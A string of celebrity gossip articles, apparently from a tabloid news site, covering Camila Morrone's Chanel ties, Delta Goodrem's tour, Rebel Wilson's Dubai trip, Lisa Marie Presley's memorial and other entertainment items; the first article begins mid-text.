The gown, which included capped sleeves, also had a flowing, layered sheer skirt with a strip of sparkling embroidered fabric for a stylish touch.

Camila accessorized the luxurious ensemble with a thick gold bracelet for an added pop of color to the black dress.

Her dark brunette locks were parted in the middle and effortlessly flowed down past her shoulders in light, messy waves.

Instead of penning a caption to her 3.7 million followers, the beauty simply tagged the French brand at the bottom right corner of the photo.

Fan of the brand: The Death Wish actress has sported clothing from Chanel in the past, including attending special events for the French brand; seen in December 2022 in Paris

Camila is a big fan of Chanel, and has not only collaborated with the fashion house in the past, but has been spotted attending special events for the brand.

In December, the catwalk star made an appearance at the Chanel Fragrance Show that took place in Paris.

She confidently sported a silver sparkling sequin jumpsuit that featured black lining on both the arm and leg cuffs, along with glittering buttons running down the center.

The model added a mini Chanel handbag that was slung over her right shoulder, and she slipped into a pair of classic black pumps.

When talking about the brand during a recent interview with W Magazine, Camila said, 'Ive worked with them in America and done some really incredible trips with them, but its just a different experience being in France, the home of Chanel.'

'Incredible': When talking about the brand to W Magazine, Camila expressed, 'Ive worked with them in America and done some really incredible trips with them, but its just a different experience being in France, the home of Chanel'; seen in October 2022 in Paris

In the past: The model and actress previously dated Hollywood actor, Leonardo DiCaprio, for a total of four years until their split last year in 2022

She also revealed that she had the chance to visit the atelier last year, and gushed, 'I got to see all these people who are so incredibly passionate about their job and have been doing this for decades, theyre so invested in the details.'

Camila, who is pals with both Kendall Jenner and Hailey Bieber, discussed her personal sense of style, explaining to the publication that she likes 'to mix it up.'

'I dont consider myself someone who tries very hard with fashion because in my day-to-day life, Im very relaxed. So, its really only when Im going to work events and appearances.'

The Never Goin' Back actress further stated that, 'I like the juxtaposition of doing something dainty, feminine and sexy and also being able to wear a mens suit and have a different version of yourself thats a bit more masculine, and play with that character.'

Fashionable: Camila discussed her own personal sense of style, explaining to the publication, 'I like to mix it up'

Upcoming project: Camila has been cast to star in the forthcoming Amazon Prime series called, Daisy Jones & The Six

Camila's upcoming project, Daisy Jones & The Six, is set to premiere later this year on March 3 on Amazon Prime Video.

The premise of the show, which is a based on a novel of the same name written by Taylor Jenkins Reid, follows 'the rise of rock band Daisy Jones and The Six through the '70s LA music scene on their quest for worldwide icon status,' according to the IMDB synopsis.

The actress told W Magazine that, 'Its a memorable and fun era for fashion and music. Some of the best music was created during that time in the Sunset Boulevard scene.'

She added, 'It was such an incredible and positive experience and Im excited for people to see what weve been waiting years to make.' Camila joined other stars such as Sam Claflin, Suki Waterhouse and Riley Keough, the daughter of the late Lisa Marie Presley.

On Instagram, the beauty has been counting down the days until the miniseries is released, and penned on a post that despite filming being delayed during the pandemic, 'We cannot wait to give you sex, drugs, rock and roll, and a whole lotta drama.'
Just hours after she announced her Australian tour, Delta Goodrem has added a string of European shows to her schedule this year.

The 38-year-old songstress will bring her Hearts on the Run Tour to several cities across April and May.

This time around, her itinerary includes bigger venues and more performances than her previous overseas tours.

Delta Goodrem (pictured) has announced a new European tour, just hours after she confirmed several Australian dates to mark the 20th anniversary of her album Innocent Eyes

Fifteen dates have been booked across the continent, including concerts in London, Dublin, Stockholm, Paris and Madrid.

The Believe Again hit-maker will play mid-sized venues, such as the Olympia Theatre in Ireland, Les Etoiles in France, O2 Shepherd's Bush Empire in England, Metropol in Germany, and Nalen in Sweden.

Delta said she felt 'an immense amount of excitement' putting her tour together and is beyond pleased she be heading to Europe.

Fifteen dates have been booked across the continent, including concerts in London, Dublin, Stockholm, Paris and Madrid (seen here)

Delta briefly visited London and Berlin at the end of last year, which she said 'brought me so much joy' and inspired her to book a full tour.

Those dates sold out 'in a couple of minutes', she said, adding that she 'just knew we had to come back'.

After her European tour wraps, Delta will hit the road in Australia from September to October to celebrate the 20th anniversary of her debut album Innocent Eyes.

Visit deltagoodrem.com for more ticketing information
The teenage son of celebrity chef Manu Feildel has signed with the junior division of the South Sydney Rabbitohs NRL team.

The My Kitchen Rules judge, 48, announced the news on Instagram on Tuesday, posting a photo of 18-year-old Jonti proudly posing in his Souths jersey.

'As a dad you get few proud moments in your life,' Manu wrote.

The son of celebrity chef Manu Feildel has signed with the junior division of the South Sydney Rabbitohs NRL team. The My Kitchen Rules judge, 48, announced the news on Instagram on Tuesday, posting this photo of 18-year-old Jonti proudly posing in his Souths jersey

'My 18-year-old son Jonti finally joined the under-19 Bunnies squad and this one is on top of my proud list,' he added.

'The ball is in his court now and I've got no doubt of his future success.'

Fans of the French-Australian foodie flocked to the comments to congratulate Jonti on the start of his professional rugby league career.

Jonti previously played rugby league for the Roosters' junior development team

'Congratulations, Jonti, go and kill it,' Souths winger Josh Mansour commented.

'Congratulations, young fella. The world is all yours and is as big as you want it to be. Stay humble,' a fan wrote.

'Awesome work, Jonti. I can see why youre so proud @manufeildelofficial,' another said.

Jonti also played for the Clovelly Crocodiles

Jonti previously played rugby league for the Roosters' junior development team, as well as the Clovelly Crocodiles.

Manu, a prolific social media user, rarely shares images of his son from his previous relationship with Veronica Morshead.

He is now married to Clarissa Weerasena, with whom he welcomed a daughter named Charlee Ariya in 2015.

Manu, a prolific social media user, rarely shares images of his son from his previous relationship with Veronica Morshead

He is now married to Clarissa Weerasena (right), with whom he welcomed a daughter named Charlee Ariya (centre) in 2015

He told The Daily Telegraph in 2019 he was now 'too old' to have more children.

'I'm getting too old,' he said, adding that he and Clarissa had already spoken about it.

'Having a kid is not just having a kid, you've got a whole life of it,' he added.

'I've got two now, which is plenty. It would be selfish to want to have another one and not have the time to spend with it.'
ABC presenter Rafael Epstein has been called out for refusing to discuss Australia's most talked-about story, Michael Clarke's 'Noosa rumble' with Karl Stefanovic, on his Melbourne radio show.

Epstein, who hosts ABC's afternoon drive program, told listeners he'd 'deliberately' chosen not to play audio of the bust-up out of principal, and felt bad 'even talking about it' on air, reports The Australian.

He proceeded to slam other publications for covering the story, saying: 'It's very embarrassing, it's a blow-up and it's just a cruel thing to do.'

ABC host Rafael Epstein (pictured) has been called out for refusing to discuss Australia's most talked-about story, Michael Clarke's 'Noosa rumble' with Karl Stefanovic, on his radio show

'Let's call it what it is: venal money-making. It isn't shared equally; media owners are never subjected to this, editors are never subjected to this,' he added.

TV veteran Steve Carey has since mocked Epstein for getting on his high horse.

Carey, who worked at Seven, Nine and the ABC during his 35-year career, suggested Epstein had a 'very short memory', reminding him of how the media extensively covered James Packer's infamous Bondi brawl with former Nine boss David Gyngell not too long ago.

Epstein, who hosts ABC's afternoon drive program, told listeners he'd 'deliberately' chosen not to play audio of the bust-up out of principal, and felt bad 'even talking about it' on air. (Pictured: Michael Clarke and Jade Yarbrough in Sydney on November 3, 2022)

'Let's call it what it is: venal money-making. It isn't shared equally; media owners are never subjected to this, editors are never subjected to this,' Epstein said. (Pictured: Michael Clarke)

'In May 2014, two of the most powerful men in television were caught brawling in Bondi and that was James Packer and his then-best mate David Gyngell, so let's not beat around that one,' Carey told Media Diary.

The ABC itself published a flurry of online articles covering the bust-up at the time, while the subject was discussed at length on ABC TV programs including The Drum and current affairs show News Exchange.

It comes after Michael Rowland, the co-anchor of ABC News Breakfast, doubled down last week on his network's decision to not cover Clarke's Noosa melee.

TV veteran Steve Carey (pictured) has since mocked Epstein for getting on his high horse, reminding him of how the media extensively covered James Packer's infamous Bondi brawl with former Nine boss David Gyngell not too long ago

'In May 2014 two of the most powerful men in television were caught brawling in Bondi and that was James Packer and his then-best mate David Gyngell, so let's not beat around that one,' Carey told Media Diary. (Pictured: Gyngell and Packer in an undated photo)

Rowland took to Instagram on Thursday to dismiss the drama as 'not news', despite the fact the fracas led news bulletins on Channel Seven, dominated all the major news websites, and even made headlines internationally.

He stated his view on the newsworthiness of Clarkey's clash with the Today host after Daily Mail Australia published an article pointing out the ABC and Nine had completely avoided the one story everyone in the country was talking about.

'Lol... Personal drama. Not news,' he wrote on Instagram, alongside a screenshot of Daily Mail's trending story.

ABC presenter Michael Rowland (left, with Emma Rebellato) last week doubled down on his network's decision to not cover Michael Clarke's late-night bust-up with Karl Stefanovic, dismissing the most talked-about story in Australia this week as 'not news'

Rowland stated his view on the newsworthiness of Clarkey's clash with the Today host after Daily Mail Australia published an article pointing out the ABC and Nine had completely avoided the one story everyone in the country was talking about

In extraordinary footage that emerged last Wednesday, Today host Karl Stefanovic is seen intervening in a blazing row between Michael Clarke and his girlfriend Jade Yarbrough - Stefanovic's sister-in-law - in a park outside a restaurant in Noosa, as Yarbrough accuses Clarke of cheating on her with his ex Pip Edwards.

The video was recorded by an onlooker on January 10.

ABC initially chose not to report on the fracas, perhaps because network bosses believed the footage was too lowbrow for their audience.

The fracas involving Stefanovic, Clarke (left) and his girlfriend Jade Yarbrough (right) led news bulletins on Seven, dominated all the major news websites, and even made global headlines

The public broadcaster finally acknowledged Australia's most talked-about story on Friday, publishing one story about how Queensland police were investigating the Noosa incident.

Meanwhile, Guardian Australia's media correspondent Amanda Meade was quick to point out in her column on Friday her masthead didn't touch the Clarke saga either, except to comment on the avalanche of press coverage.

Stefanovic hosted the Today show on Thursday and Friday, but remained tight-lipped about the video, which also featured his wife Jasmine - Jade's sister - and celebrity accountant Anthony Bell.

As of last Friday, the saga hadn't been mentioned on any of Nine's websites, despite being a huge traffic opportunity, presumably as it involved the network's golden boy Stefanovic.

The fracas did make the early news bulletin over on Seven's Sunrise, however, with Edwina Bartholomew giving a detailed rundown of the incident shortly after 5:30am on Thursday.

Stefanovic (pictured left, with co-host Sarah Abo) hosted the Today show on Thursday and Friday, but remained tight-lipped about the video, which also featured his wife Jasmine - Jade's sister - and celebrity accountant Anthony Bell
Just months after walking away from the Love Island USA villa victorious, Zeta Morrison is now a single woman.

The 29-year-old Morrison appeared on Murad Merali's YouTube channel to reveal that she split with Timmy Pandolfini, months after the couple emerged victorious over Sydney Paight & Isaiah Campbell on the show's fourth season, which aired on Peacock this summer.

While she seemed to have found her match in the Love Island USA villa, things took a turn after the show ended.

Single: Just months after walking away from the Love Island USA villa victorious, Zeta Morrison is now a single woman

Victorious: The 29-year-old Morrison appeared on Murad Merali's YouTube channel to reveal that she split with Timmy Pandolfini, months after the couple emerged victorious over Sydney Paight & Isaiah Campbell on the show's fourth season, which aired on Peacock this summer

'Timmy and I are no longer together, so there's no more 'Zimmy.' We're no longer together, and the storyline is really what I would like to get out because I truly give about my fans and my supporters,' Zeta explained.

'Sydney, Deb and I, we rode back to L.A. together on the train," she said. "We're on the trainSyd and Isaiah are texting, Deb and Jesse texting, carrying a vibe. And I'm just sat there and Timmy and I are not texting at all.

The show was filmed in Santa Barbara, California, though Morrison revealed in the interview that after filming wrapped, Timmy didn't offer her a ride back to L.A. when his roommate drove up to pick him up, which she said, 'felt strange.'

Zimmy: 'Timmy and I are no longer together, so there's no more 'Zimmy.' We're no longer together, and the storyline is really what I would like to get out because I truly give about my fans and my supporters,' Zeta explained

'Sydney, Deb (Chubb) and I, we rode back to L.A. together on the train. We're on the trainSyd and Isaiah are texting, Deb and Jesse texting, carrying a vibe. And I'm just sat there and Timmy and I are not texting at all,' Zeta said.

'When we came out, the foundation we were about to set, was already rocky,' Zeta explained, adding she offered him a ride to the airport when he was going to New York and, 'he just dodged it.'

'Why can't I take you to the airport? That's a nice thing, that's a kind gesture,' Zeta said, adding he wanted his roommate to take him and they are, 'very very close.'

Texting: 'Sydney, Deb (Chubb) and I, we rode back to L.A. together on the train. We're on the trainSyd and Isaiah are texting, Deb and Jesse texting, carrying a vibe. And I'm just sat there and Timmy and I are not texting at all,' Zeta said

She added he was very 'spacey' with texting during his week in New York and he set up a meeting with his sister while he was gone.

'My meeting with his sister was not something I enjoyed,' Zeta said bluntly, adding, 'I didn't like what was said at the meeting but I just kind of played along with it,' she said.

She added they were 'good' when he got back from New York but she still felt a 'disconnect with him.'

Spacey: She added he was very 'spacey' with texting during his week in New York and he set up a meeting with his sister while he was gone

'I feel like your person should be the person who gasses you more than the public and your family and everyone," Zeta shared.

'They just want to lift you up all the time and just see you be your best self, and I felt like he was like, "You get enough of that from everyone else, so you don't need it from me." But that's who I wanted it from,' she added.

Timmy seemed to address the split in a video on his Instagram story on January 23 where he said, 'She would say, "Even if we're just in each other's lives, I care about you that much as a person." It doesn't matter if this romance never progresses. I just want you in my life. We can focus on this business. I want the best for you.'"
Rebel Wilson sparked controversy this week when she went on a promotional trip to Dubai despite the anti-LGBT laws of the United Arab Emirates.

Now the Pitch Perfect star, who is in a lesbian relationship with fashion designer Ramona Agruma, has doubled down on her Dubai promo blitz by posting more photos of the couple attending the lavish opening of the Atlantis The Royal hotel.

Wilson, 42, uploaded a gallery of snaps to Instagram on Tuesday showing her and Agruma posing side-by-side in matching attire on a balcony next to a luxurious pool.

Rebel Wilson has doubled down on her Dubai promo blitz by posting more photos of herself attending the lavish opening of the Atlantis The Royal hotel

She captioned the images with two love hearts before emphasising her support for the Dubai hotel by tagging it.

Wilson and Agruma joined a slew of A-list guests at the extravagant opening of the Atlantis The Royal hotel over the weekend.

And while the same-sex couple appeared to have the time of their life at the lavish ribbon-cutting event, the comedic actor faced criticism from fans pointing out the United Arab Emirates is well-known for its anti-LGBT laws.

Wilson, 42, uploaded a gallery of snaps to Instagram on Tuesday showing her and Agruma posing side-by-side in matching attire on a balcony next to a luxurious pool

Wilson (right) and her fiancee Agruma (left) were among the A-list guests at the extravagant opening of Atlantis The Royal hotel in Dubai over the weekend

After Wilson first posted about the ritzy trip on Instagram, many of her followers questioned why she was promoting tourism in a country where same-sex acts are a criminal offence - although these laws are not always enforced.

Wilson, who is a member of the LGBT community since coming out in June last year, posted a video of herself and Agruma having a blast in Dubai.

The opening of the luxury resort hotel featured an exclusive concert by Beyonce, who was allegedly paid $34million for her appearance.

'Atlantis The Royal is BEYond! What a weekend with BEY!' the Bridesmaids star gushed in a caption alongside photos from the event.

While the same-sex couple appeared to have the time of their life at the lavish ribbon-cutting event, the comedic actor faced criticism from fans pointing out the United Arab Emirates is well-known for its anti-LGBT laws

Followers were quick to slam Wilson for promoting the UAE and one of its most luxurious cities, citing its notorious anti-gay laws.

'So any update on the situation of LGBTQ there?' one asked.

'Aren't you a member of LGBTQ+ community?' another commented.

After Wilson first posted about the ritzy trip on Instagram, many followers questioned why she was promoting tourism in a country where same-sex acts are a criminal offence - although these laws are not always enforced

'Human rights? LGBTQ? Unfollowing now,' a third wrote, while a fourth added: 'Oh, the privilege. What about other LGBT people?'

Another took a swipe at Wilson for turning a blind eye to the country's reputation so she could enjoy 'a nice free trip'.

'I had friends who were homosexual in Dubai. They had to get a two-bedroom apartment just in case the authorities knocked on their door,' they added.

Wilson was joined by some of the world's biggest stars, including Kendall Jenner, Liam Payne and Ellen Pompeo, for the publicity extravaganza for Atlantis The Royal

Wilson was joined by some of the world's biggest stars, including Kendall Jenner, Liam Payne and Ellen Pompeo, for the publicity extravaganza for Atlantis The Royal.

Channel Seven presenter Sonia Kruger, who inexplicably got on the guest list, thought her invite to the 'next-level crazy' opening was a 'joke' at first because it came through her Instagram DMs.

She told Fifi, Fev and Nick on Monday morning: 'You walk through the hotel foyer and walk past Kendall Jenner, there's Jay-Z over at the beach bar.'

Channel Seven's Sonia Kruger, who inexplicably got on the guest list, thought her invite to the 'next-level crazy' opening was a 'joke' at first because it came through her Instagram DMs

According to AMERA International, a website for refugee legal aid resources, the UAE Penal Code says any sexual acts outside of heterosexual marriage carry a penalty of a minimum one-year 'confinement'.

However, it goes on to say: 'The Arabic of article 354 is written in such a way that it could be taken as condemning all male homosexual intercourse to the death penalty or only forced male homosexual intercourse.

'Amnesty International interprets the article as condemning perpetrators of rape of both men and women to death, but it can also be translated: "Whoever commits rape on a female or sodomy with a male."'
Lara Worthington has shared a behind-the-scenes glimpse of her recent dress fitting with the Australian designer Christopher Esber.

The model and skincare entrepreneur, 35, was recently in Sydney accompanying her husband Sam Worthington on a press trip.

During her visit, she stopped by Esber's studio to try on a floor-length gown, which was then perfectly tailored to her proportions.

Lara Worthington has shared a behind-the-scenes glimpse of her recent dress fitting with the Australian designer Christopher Esber

The semi-sheer gown clung to her body beautifully, showing off her slender pins and flat stomach.

She completed her look with a pair of white stilettos and sported her trademark bob.

Lara smiled widely in a gallery of photos shared to Instagram, but did not reveal what engagement she was being fitted for.

The model and skincare entrepreneur, 35, was recently in Sydney accompanying her husband Sam Worthington on a press trip. During her visit, she stopped by Esber's studio to try on a floor-length gown, which was then perfectly tailored to her proportions

It comes after Lara's husband Sam gave a rare insight into their family life during an interview on The Kyle and Jackie O Show on Friday.

The Worthingtons share sons Rocket, six, Racer, four, and River, one.

The Transfusion star extended some fatherly advice to new dad Kyle Sandilands after he welcomed his first child Otto five months ago.

The semi-sheer gown clung to her body beautifully, showing off her slender pins and flat stomach

He said there's no right or wrong way to be a parent after Kyle admitted he 'should have read a book or something' before the birth of son Otto.

'The books don't tell you anything... It's a hands-on experience and you learn as you go. That's what me and Lara are doing,' Sam said.

Sam mentioning his wife prompted Kyle to ask how his old friend Lara was doing, and make an interesting observation about the famous couple.

'Lara's like Benjamin Button, she's ageing backwards. She's getting better looking,' he said of his stunning wife

'Neither of you has aged. Is there some secret Hollywood serum you use?' he asked.

'I think I'm ageing!' Sam replied. 'Lara's like Benjamin Button, she's ageing backwards. She's getting better looking.'

The Stan Originals film, Transfusion, is available now on Stan.
Kourtney Kardashian and Travis Barker were seen in their hometown of Calabasas, California on Monday as she visited his studio in the well-heeled community.

The Kardashians star, 43 - who recently showed off her yoga ability on her website POOSH - was with the Blink-182 drummer, 47, following his recent reveal that he had a tattoo of her eyes on his right thigh.

On the winter evening, Kardashian kept warm in a black zip-up coat with a fleece lining over a sheer black skirt, with black boots and long black socks. She wore black sunglasses and had her black locks parted on top with a ponytail in the back.

The latest: Kourtney Kardashian, 43, and Travis Barker, 47, were seen in their hometown of Calabasas, California on Monday as she visited his studio in the well-heeled community

Barker wore a black hooded sweatshirt as he nursed what appeared to be a hot beverage on the chilly evening in Southern California.

This past weekend, Barker posed for an Instagram snap in which he lifted one of the hems of his boxers to reveal the body art scrawled across his right thigh.

Barker included the snapshot, and a close-up of the still raw ink, in an album that also showed him posing up a storm with Kourtney herself.

Kourtney had slid her hourglass figure into a clinging and tantalizingly high-cut shirt-dress that allowed her to showcase her shapely legs for the camera.

Out and about: On the winter evening, Kardashian kept warm in a black zip-up coat with a fleece lining over a sheer black skirt, with black boots and long black socks

Stylish: She wore black sunglasses and had her black locks parted on top with a ponytail in the back

Tribute: Travis Barker revealed over the weekend that he has gotten a massive tattoo of his wife Kourtney Kardahian's eyes

Travis meanwhile knelt behind her with his face hidden behind her derriere but his hands visible clamped over her thighs.

'Oh hey there,' captioned Travis, who over the course of his romance with Kourtney has gotten multiple tattoos in her honor.

Early in the relationship he got Kourtney's name inked onto his chest, and as their love affair unfolded she herself tattooed: 'I love you,' onto one of his forearms.

Unmistakable: The Blink-182 drummer posed for an Instagram snap in which he lifted one of the hems of his boxers to reveal the body art scrawled across his right thigh

Together now: He included the snapshot, and a close-up of the still raw ink, in an album that also showed him posing up a storm with Kourtney herself

Shortly after he proposed to her in October 2021, he also had body art of Kourtney's lips applied on the inside of his bicep - along with a scorpion artfully positioned to cover up his ex-wife Shanna Moakler's name.

Earlier this week, Kourtney and Travis were seen carrying their glasses of red wine out of a restaurant and into their car after dinner with her pal Addison Rae.

Kourtney and Travis famously had a drunken Las Vegas wedding on April Fool's Day last year, exchanging vows in front of an Elvis impersonator.

Greetings: 'Oh hey there,' captioned Travis, who over the course of his romance with Kourtney has gotten multiple tattoos in her honor

Commitment: Early in the relationship he got Kourtney's name inked onto his chest

Sealing the deal: As their love affair unfolded Kourtney herself tattooed: 'I love you,' onto one of his forearms, as seen on her Instagram

Details: He also had body art of Kourtney's lips applied on the inside of his bicep - along with a scorpion artfully positioned to cover up his ex-wife Shanna Moakler's name

However the Vegas ceremony turned out not to be legally binding as they had neglected to obtain the requisite paperwork ahead of time.

After obtaining their civil marriage in California, the pair jetted off to Portofino in May for a luxurious wedding surrounded by family at Castello Brown.

Shortly thereafter, Travis was hospitalized for several days while suffering from a bout of pancreatitis he said was triggered by a polyp removal during an endoscopy.

Part of the clan: Travis' latest ink of Kourtney comes after he made himself a part of Kardashian family tradition by co-hosting their Christmas Eve bash

In other cases pancreatitis can also be brought on by such health issues as chronic heavy alcohol consumption or gallstones.

Kourtney's latest professional team-up with Travis comes after he made himself a part of Kardashian family tradition by co-hosting their Christmas Eve bash.

The annual blowout used to be reliably thrown by the family's matriarch Kris Jenner, but in recent years the task has fallen to her various daughters.

Having a ball: Kourtney and Travis famously had a drunken Las Vegas wedding on April Fool's Day last year, exchanging vows in front of an Elvis impersonator

Last month Kourtney and Travis welcomed the family over for a Yuletide extravaganza including forests of scarlet Christmas trees.

The party was designed by Mindy Weiss, the event planner behind the Stormi World carnivals that Kylie Jenner throws for her daughter's birthdays.

Kourtney is also currently co-parenting three children - Mason, 13, Penelope, 10, and Reign, eight - with her ex-fiance Scott Disick.
Priscilla Presley took to her Twitter on Monday to express gratitude for the support she's received from fans, a day after her daughter Lisa Marie Presley's memorial.

The 77-year-old ex-wife of Elvis Presley delivered a touching tribute to Lisa Marie  who passed away at the age of 54 earlier this month  during a public ceremony at Graceland on Sunday in Memphis, Tennessee.

And the following day she thanked supporters, writing: 'Thank you all for your condolences, you have touched me with your words. It has been a very difficult time but just knowing your love is out there makes a difference.'

Grateful: Priscilla Presley took to Twitter on Monday to express gratitude for the support she's received from fans, a day after her daughter Lisa Marie Presley's memorial; Pictured 2022

It was her first tweet since she confirmed her daughter's passing. Presley  the only child of rock legend Elvis  suffered a cardiac arrest at her Calabasas home, and died at a hospital in Los Angeles on January 12.

Priscilla was by her side along with the family, and on being told she was brain dead, made the decision to sign a Do Not Resuscitate order.

Lisa Marie was laid to rest next to her father, rock n' roll icon Elvis, and her son, Benjamin, who committed suicide in July 2020 at age 27.

Difficult: 'Thank you all for your condolences, you have touched me with your words. It has been a very difficult time but just knowing your love is out there makes a difference,' she wrote

Sad: It was her first tweet since she confirmed Lisa's passing. Presley suffered a cardiac arrest and died at a hospital in Los Angeles on January 12 at the age of 54; Priscilla and Lisa pictured with Austin Butler at what would be Lisa's last public appearance at the Jan 10 Golden Globes

During Lisa's memorial service Priscilla read a poem by one of Lisa Marie's daughters. The 14-year-old called her mother 'an icon, a role model and a superhero.'

The poem read: 'She always knew she wouldn't be here too long... some say a broken heart killed her,' referring to her son Benjamin's untimely death.

Speaking for herself, the grieving mother then added: 'Our hearts are broken. Lisa we all love you.'

Lisa Marie was last seen publicly the week of her death at the Golden Globe Awards, which she attended with mom Priscilla to support Baz Luhrmann's movie, Elvis, about her father.

Touching tribute: The ex-wife of Elvis Presley delivered a touching tribute to Lisa during a public ceremony at Graceland on Sunday in Memphis, Tennessee

Priscilla is grandmother to Lisa's daughters Riley Keough, 33, and 14-year-old twins Finley and Harper Lockwood.

Riley attended the memorial with her husband Ben Smith-Petersen, and was apparently so overcome with emotion that she could not speak and instead had the Australian stuntman read her eulogy for her.

In the eulogy he revealed that Lisa Marie became a grandmother shortly before she died.

A poem for Lisa Marie: During the memorial service Priscilla read a poem by one of Lisa Marie's daughters. The 14-year-old called her mother 'an icon, a role model and a superhero'

Resting place: Lisa Marie's coffin was on display to the public during the celebration of life at the family's Graceland estate, and fans were allowed to view the headstone and pay respects

'I hope I can love my daughter the way you loved me, the way you loved my brother and my sisters,' Riley wrote in her eulogy, just one day after she was spotted carrying an unknown baby as she arrived in Graceland.

Riley then went on in her speech to thank her mother for everything she had done for her, her half-sisters and her late brother, Benjamin.

'I remember you driving me in my car seat playing Aretha Franklin,' she shared in the eulogy. 'I remember the feeling I'd get when you picked me up from school.'

Surprise: During the service it was revealed that that Lisa Marie became a grandmother shortly before she died, after her eldest daughter Riley Keough, 33, welcomed a baby with her husband; Riley, Priscilla and Lisa pictured 2007

'Thank you for showing me that love is the only thing that matters in this world,' she concluded, noting that she and her late brother, as well as her half-sisters are 'products of your heart.'

'We are you, you are us,' Riley wrote. 'Thank you for trying so hard for all of us.'

The memorial service also included performances by Alanis Morissette, Axl Rose, and Billy Corgan.

Family: Priscilla is grandmother to Riley as well as Lisa Marie's 14-year-old twins Finley and Harper Lockwood (pictured in 2021)

Tragedy: The star was laid to rest next to her father, rock n' roll icon Elvis, and her son, Benjamin (R) who committed suicide in July 2020 at age 27

Lisa Marie's coffin was on display to the public during the celebration of life at the family's Graceland estate, and fans were allowed to view Lisa Marie's headstone, where they could leave flowers or other offerings, following the ceremony.

The LA County Coroner announced on Tuesday that it would be deferring the results of her official cause of death pending the results of a toxicology test - which could take years.

In lieu of flowers, the Presley family is asking mourners to donate to the Elvis Presley Charitable Foundation, helping underprivileged children in Memphis.
Will Smith is getting back to work, nearly a year after his infamous Oscar slap, which Eddie Murphy recently poked fun of at the Golden Globes.

The 54-year-old actor will reportedly return to portray the Genie in a sequel to Disney's 2019 live-action adaptation of Aladdin, via The Sun.

Dailymail.com has reached out to his reps for comment but have not heard back at this time.

Slap: Will Smith is getting back to work, nearly a year after his infamous Oscar slap, which Eddie Murphy recently poked fun of at the Golden Globes

Genie returns: The 54-year-old actor will reportedly return to portray the Genie in a sequel to Disney's 2019 live-action adaptation of Aladdin, via The Sun

While Smith won his first Oscar for King Richard just minutes after the slap, his career has been at a standstill.

He resigned from the Academy of Motion Pictures Arts and Sciences and he is banned from the Oscars for the next 10 years.

While he did have projects in the works like another Bad Boys sequel and The Council, there have been no announcements for new roles since he slapped Chris Rock on live television on Oscar Sunday.

Oscar win: While Smith won his first Oscar for King Richard just minutes after the slap, his career has been at a standstill

Now he's said to return as the Genie, with sources claiming he'll have an even bigger role in the sequel than he did in the 2019 live-action adaptation.

'This would be one of the first movies Will has shot since the Oscars slap and it is quite surprising, given that it will be for a kids film,' the anonymous source said.

'He has done a lot of work on himself and the consensus is that it will all be very much in the past by the time the movie is released,' the source added.

Bigger role: Now he's said to return as the Genie, with sources claiming he'll have an even bigger role in the sequel than he did in the 2019 live-action adaptation

'The first film was a huge success so it would be silly not to make another, and it would be a real shame to have to re-cast Will over what happened. So Disney is keen to stand by him and bring him back into the fold,' the source added.

2019's Aladdin was a huge hit, earning $355.5 million domestic and $1.054 billion worldwide from a $180 million budget.

The sequel was officially announced in February 2020 with new writers John Gatins (Flight) and Andrea Berloff (Straight Outta Compton) writing the script.

Big hit: 2019's Aladdin was a huge hit, earning $355.5 million domestic and $1.054 billion worldwide from a $180 million budget

Reports claimed that Mena Massoud (Aladdin), Naomi Scott (Princess Jasmine) and Smith would reprise their roles from the original though that was not confirmed.

When asked about the sequel last month, Massoud said, 'There was a change with the writers, and they are working on a new draft.'

'If Aladdin 2 happens, thats fantastic. It should happen. Its not going to be based off the animated version. This is going to be a new original story,' he added.
Streaming giant Hayu announced Andy Cohen will be heading to Australia this year for a publicity tour.

The American TV talk show host will be promoting his Watch What Happens Live chat show Down Under.

Andy, 54, will also be supporting Hayu's 'Be Bold. Be Proud. Be You' campaign for Sydney's WorldPride festival.

Andy Cohen (pictured) has announced he will be heading to Australia for Sydney's WorldPride festival

'As a proud member of the LGBTQIA+ community, I am beyond excited to come to beautiful Sydney with Hayu,' he said.

'WorldPride in Sydney will no doubt be one of my most amazing Pride experiences yet and I am thrilled to be part of it!'

Managing Director at NBCUniversal International, Hendrik McDermott, added: 'Inclusivity is part of Hayu's DNA and this campaign has been designed to reinforce our support for our community of LGBTQIA+ fans.'

The TV talk show host will be promoting his Watch What Happens Live chat show Down Under. Andy will also be supporting Hayu's 'Be Bold. Be Proud. Be You campaign' for Sydney's WorldPride festival

'Andy Cohen is the ultimate reality TV and Pride icon and we are beyond thrilled to welcome him to Australia to promote Watch What Happens Live and join the Sydney WorldPride celebrations alongside many of our Aussie fans.'

The WorldPride festival will run from February 17 to March 5 featuring hundreds of events with organisers expecting about 500,000 partygoers to attend the celebrations.

The festival will coincide with the city's 50th Australian Gay Pride Week, 45th Sydney Gay & Lesbian Mardi Gras.

The WorldPride festival will run from February 17 to March 5 featuring hundreds of events with organisers expecting about 500,000 partygoers to attend the celebrations

To mark the significant milestones the Sydney Harbour Bridge was lit up in the colours of the Rainbow Flag for New Year's Eve fireworks.

During the festival the bridge will be closed to traffic to allow for a Pride March.

This will be the first time the bridge has closed since the World Youth Day celebrations in 2008.
Gogglebox star Kate Bottley has shared the sad news that her mother Margaret has passed away after receiving some 'scary' news about her health.

The reverend, 47, shared the heartbreaking news on her Instagram page on Monday evening, just hours after confirming she was in hospital.

Kate shared pictures of herself with her mother, and paid tribute in a post, writing: 'She really was a smasher. May the souls of the faithful departed rest in peace and rise in glory.'

Sad news: Gogglebox star Kate Bottley has shared the sad news that her mother has passed away weeks after receiving some 'scary' news about her health

She later added: 'And we'll take all the prayers, mass intentions and general positive thoughts we can get, thanks.

'(Also FYI Dry January is cancelled, she bloody loved a Bacardi and Coke).'

Kate received a wealth of support in the comments section, with celebrities including Dawn French, Claudia Winkleman and Dermot O'Leary sending their love.

She also received a message from Gogglebox alum Izzi Warner, who wrote: 'Sending lots of love and strength your way [heart].'

Tragic: The reverend, 47, shared the heartbreaking news on her Instagram page on Monday evening, just hours after confirming she was in hospital

Suggesting that things had taken a bad turn, Kate tweeted earlier in the day: 'Please pray for M #LordInYourMercy.'

Kate previously revealed that her mother had been in hospital for several weeks after previously receiving some bad news regarding her health.

Last week, Kate shared a post which read: 'She's due home tomorrow. It's been tricky emotionally as well as physically.

'She has been cared for by some of the best humans, huge thanks to all the staff at Sheffield Hospital.'

Suggesting that things had taken a bad turn, Kate tweeted earlier in the day: 'Please pray for M #LordInYourMercy'

Sending love: Kate received a wealth of support in the comments section, with celebrities including Dawn French, Claudia Winkleman and Dermot O'Leary sending their love

